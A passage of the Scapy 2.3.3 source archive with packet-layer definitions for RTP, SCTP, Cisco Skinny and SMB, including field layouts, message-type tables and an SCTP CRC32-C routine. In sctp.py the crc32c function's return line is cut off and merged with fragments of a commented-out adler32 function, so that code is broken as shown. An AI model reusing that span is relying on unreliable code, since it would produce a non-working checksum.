RIPEntry, ) bind_layers( RIPAuth, RIPEntry, ) scapy-2.3.3/scapy/layers/rtp.py000066400000000000000000000026321300136037300164320ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ RTP (Real-time Transport Protocol). """ from scapy.packet import * from scapy.fields import * _rtp_payload_types = { # http://www.iana.org/assignments/rtp-parameters 0: 'G.711 PCMU', 3: 'GSM', 4: 'G723', 5: 'DVI4', 6: 'DVI4', 7: 'LPC', 8: 'PCMA', 9: 'G722', 10: 'L16', 11: 'L16', 12: 'QCELP', 13: 'CN', 14: 'MPA', 15: 'G728', 16: 'DVI4', 17: 'DVI4', 18: 'G729', 25: 'CelB', 26: 'JPEG', 28: 'nv', 31: 'H261', 32: 'MPV', 33: 'MP2T', 34: 'H263' } class RTP(Packet): name="RTP" fields_desc = [ BitField('version', 2, 2), BitField('padding', 0, 1), BitField('extension', 0, 1), BitFieldLenField('numsync', None, 4, count_of='sync'), BitField('marker', 0, 1), BitEnumField('payload_type', 0, 7, _rtp_payload_types), ShortField('sequence', 0), IntField('timestamp', 0), IntField('sourcesync', 0), FieldListField('sync', [], IntField("id",0), count_from=lambda pkt:pkt.numsync) ] scapy-2.3.3/scapy/layers/sctp.py000066400000000000000000000431001300136037300165710ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## Copyright (C) 6WIND ## This program is published under a GPLv2 license """ SCTP (Stream Control Transmission Protocol). """ import struct from scapy.config import conf from scapy.packet import * from scapy.fields import * from scapy.layers.inet import IP from scapy.layers.inet6 import IP6Field from scapy.layers.inet6 import IPv6 IPPROTO_SCTP=132 # crc32-c (Castagnoli) (crc32c_poly=0x1EDC6F41) crc32c_table = [ 0x00000000, 0xF26B8303, 0xE13B70F7, 0x1350F3F4, 0xC79A971F, 0x35F1141C, 0x26A1E7E8, 0xD4CA64EB, 0x8AD958CF, 0x78B2DBCC, 0x6BE22838, 0x9989AB3B, 0x4D43CFD0, 0xBF284CD3, 0xAC78BF27, 0x5E133C24, 0x105EC76F, 0xE235446C, 0xF165B798, 0x030E349B, 0xD7C45070, 0x25AFD373, 0x36FF2087, 0xC494A384, 0x9A879FA0, 0x68EC1CA3, 0x7BBCEF57, 0x89D76C54, 0x5D1D08BF, 0xAF768BBC, 0xBC267848, 0x4E4DFB4B, 0x20BD8EDE, 0xD2D60DDD, 0xC186FE29, 0x33ED7D2A, 0xE72719C1, 0x154C9AC2, 0x061C6936, 0xF477EA35, 0xAA64D611, 0x580F5512, 0x4B5FA6E6, 0xB93425E5, 0x6DFE410E, 0x9F95C20D, 0x8CC531F9, 0x7EAEB2FA, 0x30E349B1, 0xC288CAB2, 0xD1D83946, 0x23B3BA45, 0xF779DEAE, 0x05125DAD, 0x1642AE59, 0xE4292D5A, 0xBA3A117E, 0x4851927D, 0x5B016189, 0xA96AE28A, 0x7DA08661, 0x8FCB0562, 0x9C9BF696, 0x6EF07595, 0x417B1DBC, 0xB3109EBF, 0xA0406D4B, 0x522BEE48, 0x86E18AA3, 0x748A09A0, 0x67DAFA54, 0x95B17957, 0xCBA24573, 0x39C9C670, 0x2A993584, 0xD8F2B687, 0x0C38D26C, 0xFE53516F, 0xED03A29B, 0x1F682198, 0x5125DAD3, 0xA34E59D0, 0xB01EAA24, 0x42752927, 0x96BF4DCC, 0x64D4CECF, 0x77843D3B, 0x85EFBE38, 0xDBFC821C, 0x2997011F, 0x3AC7F2EB, 0xC8AC71E8, 0x1C661503, 0xEE0D9600, 0xFD5D65F4, 0x0F36E6F7, 0x61C69362, 0x93AD1061, 0x80FDE395, 0x72966096, 0xA65C047D, 0x5437877E, 0x4767748A, 0xB50CF789, 0xEB1FCBAD, 0x197448AE, 0x0A24BB5A, 0xF84F3859, 0x2C855CB2, 0xDEEEDFB1, 0xCDBE2C45, 0x3FD5AF46, 0x7198540D, 0x83F3D70E, 0x90A324FA, 0x62C8A7F9, 0xB602C312, 0x44694011, 0x5739B3E5, 0xA55230E6, 0xFB410CC2, 0x092A8FC1, 0x1A7A7C35, 0xE811FF36, 0x3CDB9BDD, 0xCEB018DE, 0xDDE0EB2A, 0x2F8B6829, 0x82F63B78, 0x709DB87B, 0x63CD4B8F, 0x91A6C88C, 0x456CAC67, 0xB7072F64, 0xA457DC90, 0x563C5F93, 0x082F63B7, 0xFA44E0B4, 0xE9141340, 0x1B7F9043, 0xCFB5F4A8, 0x3DDE77AB, 0x2E8E845F, 0xDCE5075C, 0x92A8FC17, 0x60C37F14, 0x73938CE0, 0x81F80FE3, 0x55326B08, 0xA759E80B, 0xB4091BFF, 0x466298FC, 0x1871A4D8, 0xEA1A27DB, 0xF94AD42F, 0x0B21572C, 0xDFEB33C7, 0x2D80B0C4, 0x3ED04330, 0xCCBBC033, 0xA24BB5A6, 0x502036A5, 0x4370C551, 0xB11B4652, 0x65D122B9, 0x97BAA1BA, 0x84EA524E, 0x7681D14D, 0x2892ED69, 0xDAF96E6A, 0xC9A99D9E, 0x3BC21E9D, 0xEF087A76, 0x1D63F975, 0x0E330A81, 0xFC588982, 0xB21572C9, 0x407EF1CA, 0x532E023E, 0xA145813D, 0x758FE5D6, 0x87E466D5, 0x94B49521, 0x66DF1622, 0x38CC2A06, 0xCAA7A905, 0xD9F75AF1, 0x2B9CD9F2, 0xFF56BD19, 0x0D3D3E1A, 0x1E6DCDEE, 0xEC064EED, 0xC38D26C4, 0x31E6A5C7, 0x22B65633, 0xD0DDD530, 0x0417B1DB, 0xF67C32D8, 0xE52CC12C, 0x1747422F, 0x49547E0B, 0xBB3FFD08, 0xA86F0EFC, 0x5A048DFF, 0x8ECEE914, 0x7CA56A17, 0x6FF599E3, 0x9D9E1AE0, 0xD3D3E1AB, 0x21B862A8, 0x32E8915C, 0xC083125F, 0x144976B4, 0xE622F5B7, 0xF5720643, 0x07198540, 0x590AB964, 0xAB613A67, 0xB831C993, 0x4A5A4A90, 0x9E902E7B, 0x6CFBAD78, 0x7FAB5E8C, 0x8DC0DD8F, 0xE330A81A, 0x115B2B19, 0x020BD8ED, 0xF0605BEE, 0x24AA3F05, 0xD6C1BC06, 0xC5914FF2, 0x37FACCF1, 0x69E9F0D5, 0x9B8273D6, 0x88D28022, 0x7AB90321, 0xAE7367CA, 0x5C18E4C9, 0x4F48173D, 0xBD23943E, 0xF36E6F75, 0x0105EC76, 0x12551F82, 0xE03E9C81, 0x34F4F86A, 0xC69F7B69, 0xD5CF889D, 0x27A40B9E, 0x79B737BA, 0x8BDCB4B9, 0x988C474D, 0x6AE7C44E, 0xBE2DA0A5, 0x4C4623A6, 0x5F16D052, 0xAD7D5351, ] def crc32c(buf): crc = 0xffffffff for c in buf: crc = (crc>>8) ^ crc32c_table[(crc^(ord(c))) & 0xFF] crc = (~crc) & 0xffffffff # reverse endianness return struct.unpack(">I",struct.pack("> 16) & 0xffff print s1,s2 for c in buf: print ord(c) s1 = (s1 + ord(c)) % BASE s2 = (s2 + s1) % BASE print s1,s2 return (s2 << 16) + s1 def sctp_checksum(buf): return update_adler32(1, buf) """ sctpchunktypescls = { 0 : "SCTPChunkData", 1 : "SCTPChunkInit", 2 : "SCTPChunkInitAck", 3 : "SCTPChunkSACK", 4 : "SCTPChunkHeartbeatReq", 5 : "SCTPChunkHeartbeatAck", 6 : "SCTPChunkAbort", 7 : "SCTPChunkShutdown", 8 : "SCTPChunkShutdownAck", 9 : "SCTPChunkError", 10 : "SCTPChunkCookieEcho", 11 : "SCTPChunkCookieAck", 14 : "SCTPChunkShutdownComplete", } sctpchunktypes = { 0 : "data", 1 : "init", 2 : "init-ack", 3 : "sack", 4 : "heartbeat-req", 5 : "heartbeat-ack", 6 : "abort", 7 : "shutdown", 8 : "shutdown-ack", 9 : "error", 10 : "cookie-echo", 11 : "cookie-ack", 14 : "shutdown-complete", } sctpchunkparamtypescls = { 1 : "SCTPChunkParamHearbeatInfo", 5 : "SCTPChunkParamIPv4Addr", 6 : "SCTPChunkParamIPv6Addr", 7 : "SCTPChunkParamStateCookie", 8 : "SCTPChunkParamUnrocognizedParam", 9 : "SCTPChunkParamCookiePreservative", 11 : "SCTPChunkParamHostname", 12 : "SCTPChunkParamSupportedAddrTypes", 32768 : "SCTPChunkParamECNCapable", 49152 : "SCTPChunkParamFwdTSN", 49158 : "SCTPChunkParamAdaptationLayer", } sctpchunkparamtypes = { 1 : "heartbeat-info", 5 : "IPv4", 6 : "IPv6", 7 : "state-cookie", 8 : "unrecognized-param", 9 : "cookie-preservative", 11 : "hostname", 12 : "addrtypes", 32768 : "ecn-capable", 49152 : "fwd-tsn-supported", 49158 : "adaptation-layer", } ############## SCTP header # Dummy class to guess payload type (variable parameters) class _SCTPChunkGuessPayload: def default_payload_class(self,p): if len(p) < 4: return conf.padding_layer else: t = ord(p[0]) return globals().get(sctpchunktypescls.get(t, "Raw"), conf.raw_layer) class SCTP(_SCTPChunkGuessPayload, Packet): fields_desc = [ ShortField("sport", None), ShortField("dport", None), XIntField("tag", None), XIntField("chksum", None), ] def answers(self, other): if not isinstance(other, SCTP): return 0 if conf.checkIPsrc: if not ((self.sport == other.dport) and (self.dport == other.sport)): return 0 return 1 def post_build(self, p, pay): p += pay if self.chksum is None: crc = crc32c(str(p)) p = p[:8]+struct.pack(">I", crc)+p[12:] return p ############## SCTP Chunk variable params class ChunkParamField(PacketListField): def __init__(self, name, default, count_from=None, length_from=None): PacketListField.__init__(self, name, default, conf.raw_layer, count_from=count_from, length_from=length_from) def m2i(self, p, m): cls = conf.raw_layer if len(m) >= 4: t = ord(m[0]) * 256 + ord(m[1]) cls = globals().get(sctpchunkparamtypescls.get(t, "Raw"), conf.raw_layer) return cls(m) # dummy class to avoid Raw() after Chunk params class _SCTPChunkParam: def extract_padding(self, s): return "",s[:] class SCTPChunkParamHearbeatInfo(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 1, sctpchunkparamtypes), FieldLenField("len", None, length_of="data", adjust = lambda pkt,x:x+4), PadField(StrLenField("data", "", length_from=lambda pkt: pkt.len-4), 4, padwith="\x00"),] class SCTPChunkParamIPv4Addr(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 5, sctpchunkparamtypes), ShortField("len", 8), IPField("addr","127.0.0.1"), ] class SCTPChunkParamIPv6Addr(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 6, sctpchunkparamtypes), ShortField("len", 20), IP6Field("addr","::1"), ] class SCTPChunkParamStateCookie(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 7, sctpchunkparamtypes), FieldLenField("len", None, length_of="cookie", adjust = lambda pkt,x:x+4), PadField(StrLenField("cookie", "", length_from=lambda pkt: pkt.len-4), 4, padwith="\x00"),] class SCTPChunkParamUnrocognizedParam(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 8, sctpchunkparamtypes), FieldLenField("len", None, length_of="param", adjust = lambda pkt,x:x+4), PadField(StrLenField("param", "", length_from=lambda pkt: pkt.len-4), 4, padwith="\x00"),] class SCTPChunkParamCookiePreservative(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 9, sctpchunkparamtypes), ShortField("len", 8), XIntField("sug_cookie_inc", None), ] class SCTPChunkParamHostname(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 11, sctpchunkparamtypes), FieldLenField("len", None, length_of="hostname", adjust = lambda pkt,x:x+4), PadField(StrLenField("hostname", "", length_from=lambda pkt: pkt.len-4), 4, padwith="\x00"), ] class SCTPChunkParamSupportedAddrTypes(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 12, sctpchunkparamtypes), FieldLenField("len", None, length_of="addr_type_list", adjust = lambda pkt,x:x+4), PadField(FieldListField("addr_type_list", [ "IPv4" ], ShortEnumField("addr_type", 5, sctpchunkparamtypes), length_from=lambda pkt: pkt.len-4), 4, padwith="\x00"), ] class SCTPChunkParamECNCapable(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 32768, sctpchunkparamtypes), ShortField("len", 4), ] class SCTPChunkParamFwdTSN(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 49152, sctpchunkparamtypes), ShortField("len", 4), ] class SCTPChunkParamAdaptationLayer(_SCTPChunkParam, Packet): fields_desc = [ ShortEnumField("type", 49158, sctpchunkparamtypes), ShortField("len", 8), XIntField("indication", None), ] ############## SCTP Chunks class SCTPChunkData(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 0, sctpchunktypes), BitField("reserved", None, 4), BitField("delay_sack", 0, 1), BitField("unordered", 0, 1), BitField("beginning", 0, 1), BitField("ending", 0, 1), FieldLenField("len", None, length_of="data", adjust = lambda pkt,x:x+16), XIntField("tsn", None), XShortField("stream_id", None), XShortField("stream_seq", None), XIntField("proto_id", None), PadField(StrLenField("data", None, length_from=lambda pkt: pkt.len-16), 4, padwith="\x00"), ] class SCTPChunkInit(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 1, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust = lambda pkt,x:x+20), XIntField("init_tag", None), IntField("a_rwnd", None), ShortField("n_out_streams", None), ShortField("n_in_streams", None), XIntField("init_tsn", None), ChunkParamField("params", None, length_from=lambda pkt:pkt.len-20), ] class SCTPChunkInitAck(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 2, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust = lambda pkt,x:x+20), XIntField("init_tag", None), IntField("a_rwnd", None), ShortField("n_out_streams", None), ShortField("n_in_streams", None), XIntField("init_tsn", None), ChunkParamField("params", None, length_from=lambda pkt:pkt.len-20), ] class GapAckField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "4s") def i2m(self, pkt, x): if x is None: return "\0\0\0\0" sta, end = map(int, x.split(":")) args = tuple([">HH", sta, end]) return struct.pack(*args) def m2i(self, pkt, x): return "%d:%d"%(struct.unpack(">HH", x)) def any2i(self, pkt, x): if type(x) is tuple and len(x) == 2: return "%d:%d"%(x) return x class SCTPChunkSACK(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 3, sctpchunktypes), XByteField("flags", None), ShortField("len", None), XIntField("cumul_tsn_ack", None), IntField("a_rwnd", None), FieldLenField("n_gap_ack", None, count_of="gap_ack_list"), FieldLenField("n_dup_tsn", None, count_of="dup_tsn_list"), FieldListField("gap_ack_list", [ ], GapAckField("gap_ack", None), count_from=lambda pkt:pkt.n_gap_ack), FieldListField("dup_tsn_list", [ ], XIntField("dup_tsn", None), count_from=lambda pkt:pkt.n_dup_tsn), ] def post_build(self, p, pay): if self.len is None: p = p[:2] + struct.pack(">H", len(p)) + p[4:] return p+pay class SCTPChunkHeartbeatReq(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 4, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust = lambda pkt,x:x+4), ChunkParamField("params", None, length_from=lambda pkt:pkt.len-4), ] class SCTPChunkHeartbeatAck(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 5, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust = lambda pkt,x:x+4), ChunkParamField("params", None, length_from=lambda pkt:pkt.len-4), ] class SCTPChunkAbort(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 6, sctpchunktypes), BitField("reserved", None, 7), BitField("TCB", 0, 1), FieldLenField("len", None, length_of="error_causes", adjust = lambda pkt,x:x+4), PadField(StrLenField("error_causes", "", length_from=lambda pkt: pkt.len-4), 4, padwith="\x00"), ] class SCTPChunkShutdown(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 7, sctpchunktypes), XByteField("flags", None), ShortField("len", 8), XIntField("cumul_tsn_ack", None), ] class SCTPChunkShutdownAck(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 8, sctpchunktypes), XByteField("flags", None), ShortField("len", 4), ] class SCTPChunkError(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 9, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="error_causes", adjust = lambda pkt,x:x+4), PadField(StrLenField("error_causes", "", length_from=lambda pkt: pkt.len-4), 4, padwith="\x00"), ] class SCTPChunkCookieEcho(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 10, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="cookie", adjust = lambda pkt,x:x+4), PadField(StrLenField("cookie", "", length_from=lambda pkt: pkt.len-4), 4, padwith="\x00"), ] class SCTPChunkCookieAck(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 11, sctpchunktypes), XByteField("flags", None), ShortField("len", 4), ] class SCTPChunkShutdownComplete(_SCTPChunkGuessPayload, Packet): fields_desc = [ ByteEnumField("type", 12, sctpchunktypes), BitField("reserved", None, 7), BitField("TCB", 0, 1), ShortField("len", 4), ] bind_layers( IP, SCTP, proto=IPPROTO_SCTP) bind_layers( IPv6, SCTP, nh=IPPROTO_SCTP) scapy-2.3.3/scapy/layers/skinny.py000066400000000000000000000125571300136037300171470ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Cisco Skinny protocol. """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import TCP # shamelessly ripped from Ethereal dissector skinny_messages = { # Station -> Callmanager 0x0000: "KeepAliveMessage", 0x0001: "RegisterMessage", 0x0002: "IpPortMessage", 0x0003: "KeypadButtonMessage", 0x0004: "EnblocCallMessage", 0x0005: "StimulusMessage", 0x0006: "OffHookMessage", 0x0007: "OnHookMessage", 0x0008: "HookFlashMessage", 0x0009: "ForwardStatReqMessage", 0x000A: "SpeedDialStatReqMessage", 0x000B: "LineStatReqMessage", 0x000C: "ConfigStatReqMessage", 0x000D: "TimeDateReqMessage", 0x000E: "ButtonTemplateReqMessage", 0x000F: "VersionReqMessage", 0x0010: "CapabilitiesResMessage", 0x0011: "MediaPortListMessage", 0x0012: "ServerReqMessage", 0x0020: "AlarmMessage", 0x0021: "MulticastMediaReceptionAck", 0x0022: "OpenReceiveChannelAck", 0x0023: "ConnectionStatisticsRes", 0x0024: "OffHookWithCgpnMessage", 0x0025: "SoftKeySetReqMessage", 0x0026: "SoftKeyEventMessage", 0x0027: "UnregisterMessage", 0x0028: "SoftKeyTemplateReqMessage", 0x0029: "RegisterTokenReq", 0x002A: "MediaTransmissionFailure", 0x002B: "HeadsetStatusMessage", 0x002C: "MediaResourceNotification", 0x002D: "RegisterAvailableLinesMessage", 0x002E: "DeviceToUserDataMessage", 0x002F: "DeviceToUserDataResponseMessage", 0x0030: "UpdateCapabilitiesMessage", 0x0031: "OpenMultiMediaReceiveChannelAckMessage", 0x0032: "ClearConferenceMessage", 0x0033: "ServiceURLStatReqMessage", 0x0034: "FeatureStatReqMessage", 0x0035: "CreateConferenceResMessage", 0x0036: "DeleteConferenceResMessage", 0x0037: "ModifyConferenceResMessage", 0x0038: "AddParticipantResMessage", 0x0039: "AuditConferenceResMessage", 0x0040: "AuditParticipantResMessage", 0x0041: "DeviceToUserDataVersion1Message", # Callmanager -> Station */ 0x0081: "RegisterAckMessage", 0x0082: "StartToneMessage", 0x0083: "StopToneMessage", 0x0085: "SetRingerMessage", 0x0086: "SetLampMessage", 0x0087: "SetHkFDetectMessage", 0x0088: "SetSpeakerModeMessage", 0x0089: "SetMicroModeMessage", 0x008A: "StartMediaTransmission", 0x008B: "StopMediaTransmission", 0x008C: "StartMediaReception", 0x008D: "StopMediaReception", 0x008F: "CallInfoMessage", 0x0090: "ForwardStatMessage", 0x0091: "SpeedDialStatMessage", 0x0092: "LineStatMessage", 0x0093: "ConfigStatMessage", 0x0094: "DefineTimeDate", 0x0095: "StartSessionTransmission", 0x0096: "StopSessionTransmission", 0x0097: "ButtonTemplateMessage", 0x0098: "VersionMessage", 0x0099: "DisplayTextMessage", 0x009A: "ClearDisplay", 0x009B: "CapabilitiesReqMessage", 0x009C: "EnunciatorCommandMessage", 0x009D: "RegisterRejectMessage", 0x009E: "ServerResMessage", 0x009F: "Reset", 0x0100: "KeepAliveAckMessage", 0x0101: "StartMulticastMediaReception", 0x0102: "StartMulticastMediaTransmission", 0x0103: "StopMulticastMediaReception", 0x0104: "StopMulticastMediaTransmission", 0x0105: "OpenReceiveChannel", 0x0106: "CloseReceiveChannel", 0x0107: "ConnectionStatisticsReq", 0x0108: "SoftKeyTemplateResMessage", 0x0109: "SoftKeySetResMessage", 0x0110: "SelectSoftKeysMessage", 0x0111: "CallStateMessage", 0x0112: "DisplayPromptStatusMessage", 0x0113: "ClearPromptStatusMessage", 0x0114: "DisplayNotifyMessage", 0x0115: "ClearNotifyMessage", 0x0116: "ActivateCallPlaneMessage", 0x0117: "DeactivateCallPlaneMessage", 0x0118: "UnregisterAckMessage", 0x0119: "BackSpaceReqMessage", 0x011A: "RegisterTokenAck", 0x011B: "RegisterTokenReject", 0x0042: "DeviceToUserDataResponseVersion1Message", 0x011C: "StartMediaFailureDetection", 0x011D: "DialedNumberMessage", 0x011E: "UserToDeviceDataMessage", 0x011F: "FeatureStatMessage", 0x0120: "DisplayPriNotifyMessage", 0x0121: "ClearPriNotifyMessage", 0x0122: "StartAnnouncementMessage", 0x0123: "StopAnnouncementMessage", 0x0124: "AnnouncementFinishMessage", 0x0127: "NotifyDtmfToneMessage", 0x0128: "SendDtmfToneMessage", 0x0129: "SubscribeDtmfPayloadReqMessage", 0x012A: "SubscribeDtmfPayloadResMessage", 0x012B: "SubscribeDtmfPayloadErrMessage", 0x012C: "UnSubscribeDtmfPayloadReqMessage", 0x012D: "UnSubscribeDtmfPayloadResMessage", 0x012E: "UnSubscribeDtmfPayloadErrMessage", 0x012F: "ServiceURLStatMessage", 0x0130: "CallSelectStatMessage", 0x0131: "OpenMultiMediaChannelMessage", 0x0132: "StartMultiMediaTransmission", 0x0133: "StopMultiMediaTransmission", 0x0134: "MiscellaneousCommandMessage", 0x0135: "FlowControlCommandMessage", 0x0136: "CloseMultiMediaReceiveChannel", 0x0137: "CreateConferenceReqMessage", 0x0138: "DeleteConferenceReqMessage", 0x0139: "ModifyConferenceReqMessage", 0x013A: "AddParticipantReqMessage", 0x013B: "DropParticipantReqMessage", 0x013C: "AuditConferenceReqMessage", 0x013D: "AuditParticipantReqMessage", 0x013F: "UserToDeviceDataVersion1Message", } class Skinny(Packet): name="Skinny" fields_desc = [ LEIntField("len",0), LEIntField("res",0), LEIntEnumField("msg",0,skinny_messages) ] bind_layers( TCP, Skinny, dport=2000) bind_layers( TCP, Skinny, sport=2000) scapy-2.3.3/scapy/layers/smb.py000066400000000000000000000427541300136037300164170ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ SMB (Server Message Block), also known as CIFS. """ from scapy.packet import * from scapy.fields import * from scapy.layers.netbios import NBTSession # SMB NetLogon Response Header class SMBNetlogon_Protocol_Response_Header(Packet): name="SMBNetlogon Protocol Response Header" fields_desc = [StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x25,{0x25:"Trans"}), ByteField("Error_Class",0x02), ByteField("Reserved",0), LEShortField("Error_code",4), ByteField("Flags",0), LEShortField("Flags2",0x0000), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",0), LEShortField("UID",0), LEShortField("MID",0), ByteField("WordCount",17), LEShortField("TotalParamCount",0), LEShortField("TotalDataCount",112), LEShortField("MaxParamCount",0), LEShortField("MaxDataCount",0), ByteField("MaxSetupCount",0), ByteField("unused2",0), LEShortField("Flags3",0), ByteField("TimeOut1",0xe8), ByteField("TimeOut2",0x03), LEShortField("unused3",0), LEShortField("unused4",0), LEShortField("ParamCount2",0), LEShortField("ParamOffset",0), LEShortField("DataCount",112), LEShortField("DataOffset",92), ByteField("SetupCount", 3), ByteField("unused5", 0)] # SMB MailSlot Protocol class SMBMailSlot(Packet): name = "SMB Mail Slot Protocol" fields_desc = [LEShortField("opcode", 1), LEShortField("priority", 1), LEShortField("class", 2), LEShortField("size", 135), StrNullField("name","\MAILSLOT\NET\GETDC660")] # SMB NetLogon Protocol Response Tail SAM class SMBNetlogon_Protocol_Response_Tail_SAM(Packet): name = "SMB Netlogon Protocol Response Tail SAM" fields_desc = [ByteEnumField("Command", 0x17, {0x12:"SAM logon request", 0x17:"SAM Active directory Response"}), ByteField("unused", 0), ShortField("Data1", 0), ShortField("Data2", 0xfd01), ShortField("Data3", 0), ShortField("Data4", 0xacde), ShortField("Data5", 0x0fe5), ShortField("Data6", 0xd10a), ShortField("Data7", 0x374c), ShortField("Data8", 0x83e2), ShortField("Data9", 0x7dd9), ShortField("Data10", 0x3a16), ShortField("Data11", 0x73ff), ByteField("Data12", 0x04), StrFixedLenField("Data13", "rmff", 4), ByteField("Data14", 0x0), ShortField("Data16", 0xc018), ByteField("Data18", 0x0a), StrFixedLenField("Data20", "rmff-win2k", 10), ByteField("Data21", 0xc0), ShortField("Data22", 0x18c0), ShortField("Data23", 0x180a), StrFixedLenField("Data24", "RMFF-WIN2K", 10), ShortField("Data25", 0), ByteField("Data26", 0x17), StrFixedLenField("Data27", "Default-First-Site-Name", 23), ShortField("Data28", 0x00c0), ShortField("Data29", 0x3c10), ShortField("Data30", 0x00c0), ShortField("Data31", 0x0200), ShortField("Data32", 0x0), ShortField("Data33", 0xac14), ShortField("Data34", 0x0064), ShortField("Data35", 0x0), ShortField("Data36", 0x0), ShortField("Data37", 0x0), ShortField("Data38", 0x0), ShortField("Data39", 0x0d00), ShortField("Data40", 0x0), ShortField("Data41", 0xffff)] # SMB NetLogon Protocol Response Tail LM2.0 class SMBNetlogon_Protocol_Response_Tail_LM20(Packet): name = "SMB Netlogon Protocol Response Tail LM20" fields_desc = [ByteEnumField("Command",0x06,{0x06:"LM 2.0 Response to logon request"}), ByteField("unused", 0), StrFixedLenField("DblSlash", "\\\\", 2), StrNullField("ServerName","WIN"), LEShortField("LM20Token", 0xffff)] # SMBNegociate Protocol Request Header class SMBNegociate_Protocol_Request_Header(Packet): name="SMBNegociate Protocol Request Header" fields_desc = [StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x72,{0x72:"SMB_COM_NEGOTIATE"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_code",0), ByteField("Flags",0x18), LEShortField("Flags2",0x0000), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",0), LEShortField("ByteCount",12)] # SMB Negociate Protocol Request Tail class SMBNegociate_Protocol_Request_Tail(Packet): name="SMB Negociate Protocol Request Tail" fields_desc=[ByteField("BufferFormat",0x02), StrNullField("BufferData","NT LM 0.12")] # SMBNegociate Protocol Response Advanced Security class SMBNegociate_Protocol_Response_Advanced_Security(Packet): name="SMBNegociate Protocol Response Advanced Security" fields_desc = [StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x72,{0x72:"SMB_COM_NEGOTIATE"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_Code",0), ByteField("Flags",0x98), LEShortField("Flags2",0x0000), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",17), LEShortField("DialectIndex",7), ByteField("SecurityMode",0x03), LEShortField("MaxMpxCount",50), LEShortField("MaxNumberVC",1), LEIntField("MaxBufferSize",16144), LEIntField("MaxRawSize",65536), LEIntField("SessionKey",0x0000), LEShortField("ServerCapabilities",0xf3f9), BitField("UnixExtensions",0,1), BitField("Reserved2",0,7), BitField("ExtendedSecurity",1,1), BitField("CompBulk",0,2), BitField("Reserved3",0,5), # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94. LEIntField("ServerTimeHigh",0xD6228000L), LEIntField("ServerTimeLow",0x1C4EF94), LEShortField("ServerTimeZone",0x3c), ByteField("EncryptionKeyLength",0), LEFieldLenField("ByteCount", None, "SecurityBlob", adjust=lambda pkt,x:x-16), BitField("GUID",0,128), StrLenField("SecurityBlob", "", length_from=lambda x:x.ByteCount+16)] # SMBNegociate Protocol Response No Security # When using no security, with EncryptionKeyLength=8, you must have an EncryptionKey before the DomainName class SMBNegociate_Protocol_Response_No_Security(Packet): name="SMBNegociate Protocol Response No Security" fields_desc = [StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x72,{0x72:"SMB_COM_NEGOTIATE"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_Code",0), ByteField("Flags",0x98), LEShortField("Flags2",0x0000), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",17), LEShortField("DialectIndex",7), ByteField("SecurityMode",0x03), LEShortField("MaxMpxCount",50), LEShortField("MaxNumberVC",1), LEIntField("MaxBufferSize",16144), LEIntField("MaxRawSize",65536), LEIntField("SessionKey",0x0000), 